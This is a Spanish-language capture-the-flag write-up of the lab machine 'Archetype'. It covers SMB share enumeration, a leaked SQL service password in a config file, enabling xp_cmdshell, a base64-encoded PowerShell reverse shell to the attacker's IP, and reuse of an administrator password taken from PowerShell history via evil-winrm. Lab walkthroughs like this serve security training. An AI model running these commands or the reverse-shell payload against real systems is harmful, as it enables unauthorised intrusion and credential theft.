😐

[ noØfunny ]

Archetype

Presenta un servidor Microsoft SQL mal configurado, recursos compartidos SMB expuestos y datos confidenciales expuestos. Se puede acceder a un recurso compartido SMB expuesto sin autenticación, donde se encuentran archivos confidenciales con credenciales en texto plano. Estas credenciales se pueden usar para autenticarse en MSSQL como el usuario de la cuenta de servicio mediante la herramienta mssqlclient de Impacket. Posteriormente, se puede ejecutar comandos habilitando xp_cmdshell, tras lo cual se puede cargar y activar una shell inversa para obtener acceso al host. Finalmente, se puede usar WinPeas para buscar vulnerabilidades, lo que revela un archivo de historial de PowerShell que contiene la contraseña necesaria para lograr una escalada de privilegios completa.

Archetype

Enumeration

Enumeramos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.204.36
PORT      STATE    SERVICE      REASON
135/tcp   open     msrpc        syn-ack ttl 127
139/tcp   open     netbios-ssn  syn-ack ttl 127
445/tcp   open     microsoft-ds syn-ack ttl 127
1433/tcp  open     ms-sql-s     syn-ack ttl 127
5985/tcp  open     wsman        syn-ack ttl 127
22171/tcp filtered unknown      no-response
47001/tcp open     winrm        syn-ack ttl 127
49664/tcp open     unknown      syn-ack ttl 127
49665/tcp open     unknown      syn-ack ttl 127
49666/tcp open     unknown      syn-ack ttl 127
49667/tcp open     unknown      syn-ack ttl 127
49668/tcp open     unknown      syn-ack ttl 127
49669/tcp open     unknown      syn-ack ttl 127
61175/tcp filtered unknown      no-response

Enumeramos los puertos abiertos para conocer más detalles sobre los servicios.

nmap -p 135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 -sCV -oA nmap/openports 10.129.204.36
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info: 
|   10.129.204.36:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-07-29T13:48:09
|_Not valid after:  2056-07-29T13:48:09
| ms-sql-ntlm-info: 
|   10.129.204.36:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-07-29T13:54:11+00:00; 0s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-07-29T06:54:01-07:00
|_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2026-07-29T13:54:03
|_  start_date: N/A

Enumeramos el servicio smb.

nxc smb 10.129.204.36 -u Guest -p "" --shares
SMB         10.129.204.36   445    ARCHETYPE        [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.204.36   445    ARCHETYPE        [+] Archetype\Guest: 
SMB         10.129.204.36   445    ARCHETYPE        [*] Enumerated shares
SMB         10.129.204.36   445    ARCHETYPE        Share           Permissions     Remark
SMB         10.129.204.36   445    ARCHETYPE        -----           -----------     ------
SMB         10.129.204.36   445    ARCHETYPE        ADMIN$                          Remote Admin
SMB         10.129.204.36   445    ARCHETYPE        backups         READ            
SMB         10.129.204.36   445    ARCHETYPE        C$                              Default share
SMB         10.129.204.36   445    ARCHETYPE        IPC$            READ            Remote IPC

Encontramos un directorio backups con permisos de lectura (READ).

Listamos el contenido del recurso compartido backups.

nxc smb 10.129.204.36 -u Guest -p "" --spider backups --pattern .
SMB         10.129.204.36   445    ARCHETYPE        [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.204.36   445    ARCHETYPE        [+] Archetype\Guest: 
SMB         10.129.204.36   445    ARCHETYPE        [*] Spidering .
SMB         10.129.204.36   445    ARCHETYPE        //10.129.204.36/backups/. [dir]
SMB         10.129.204.36   445    ARCHETYPE        //10.129.204.36/backups/.. [dir]
SMB         10.129.204.36   445    ARCHETYPE        //10.129.204.36/backups/prod.dtsConfig [lastm:'2020-01-20 09:23' size:609]

Descargamos el recurso prod.dtsConfig.

nxc smb 10.129.204.36 -u Guest -p "" --share backups --get-file //prod.dtsConfig prod.dtsConfig
SMB         10.129.204.36   445    ARCHETYPE        [*] Windows Server 2019 Standard 17763 x64 (name:ARCHETYPE) (domain:Archetype) (signing:False) (SMBv1:True) (Null Auth:True)
SMB         10.129.204.36   445    ARCHETYPE        [+] Archetype\Guest: 
SMB         10.129.204.36   445    ARCHETYPE        [*] Copying "//prod.dtsConfig" to "prod.dtsConfig"
SMB         10.129.204.36   445    ARCHETYPE        [+] File "//prod.dtsConfig" was downloaded to "prod.dtsConfig"

Leemos el contenido del archivo descargado.

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Tr
anslate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

Exploitation

Con las credenciales nos conectamos al servicio ms-sql.

mssqlclient.py 'sql_svc:M3g4c0rp123@10.129.204.36' -windows-auth
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc  dbo@master)>

Activamos la ejecución de comandos.

EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Chequeamos si podemos ejecutar comandos.

xp_cmdshell "whoami"
output              
-----------------   
archetype\sql_svc   
NULL  

Nos ponemos en escucha en nuestra máquina atacante.

nc -lnvp 1111

Creamos una reverse shell con Reverse Shell Generator y ejecutamos el comando que nos da el generador.

xp_cmdshell powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANAAxACIALAAxADEAMQAxACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA

Una vez dentro del sistema leemos la flag.

type C:\Users\sql_svc\Desktop\user.txt

User flag

User flag

3******************************3

Privilege Escalation

Descargamos WinPEAS. Levantamos un servidor para compartirlo y descargarlo desde la máquina víctima.

wget https://github.com/peass-ng/PEASS-ng/releases/download/20260729-41db79f4/winPEASx64.exe
python3 -m http.server

Lo descargamos desde la máquina víctima.

wget http://10.10.15.41:8000/winPEASx64.exe -OutFile C:\Users\sql_svc\Desktop\winpeas.exe

Y lo ejecutamos. Entre los resultados encontramos el historias de comandos ejecutados por el usuario sql_svc con la contraseña del usuario administrator.

???????????? PowerShell Settings (T1059.001)
    PowerShell v2 Version: 2.0
    PowerShell v5 Version: 5.1.17763.1
    PowerShell Core Version: 
    Transcription Settings: 
    Module Logging Settings: 
    Scriptblock Logging Settings: 
    PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    PS history size: 79B
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

Nos conectamos con las credenciales obtenidas aprovechando el servicio winRM del puerto 5985 que encontramos abierto con anterioridad.

evil-winrm -i 10.129.95.187 -u administrator -p 'MEGACORP_4dm1n!!'

Verificamos que estamos conectados como el usuario administrator.

whoami
archetype\administrator

Listamos el contenido del escritorio del usuario administrator.

dir ..\Desktop


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/25/2020   6:36 AM             32 root.txt

Leemos el contenido de la flag.

type ..\Desktop\root.txt

Root flag

Root flag

b******************************8